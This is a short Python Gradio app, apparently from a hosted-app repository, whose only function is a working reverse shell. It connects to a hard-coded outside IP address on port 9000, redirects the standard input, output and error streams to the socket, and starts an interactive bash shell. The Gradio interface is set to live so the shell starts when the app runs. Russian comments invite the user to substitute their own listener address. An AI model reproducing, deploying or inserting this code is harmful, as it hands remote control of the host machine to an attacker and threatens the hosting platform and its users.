ADS / app.py
dana56's picture
Update app.py
5bba42f verified
raw
history blame contribute delete
970 Bytes
import gradio as gr
import socket
import subprocess
import os
def start_reverse_shell():
# IP и порт, на который будет отправлен реверси шел
RHOST = '45.155.205.202' # Замените на IP вашей машины
RPORT = 9000 # Замените на порт вашей машины
# Создаем сокет
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
# Перенаправляем стандартные потоки ввода/вывода/ошибок в сокет
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
# Запускаем шел
subprocess.call(["/bin/bash", "-i"])
return "Reverse shell started!"
# Создаем интерфейс Gradio
iface = gr.Interface(fn=start_reverse_shell, inputs=None, outputs="text", live=True)
# Запускаем интерфейс
iface.launch()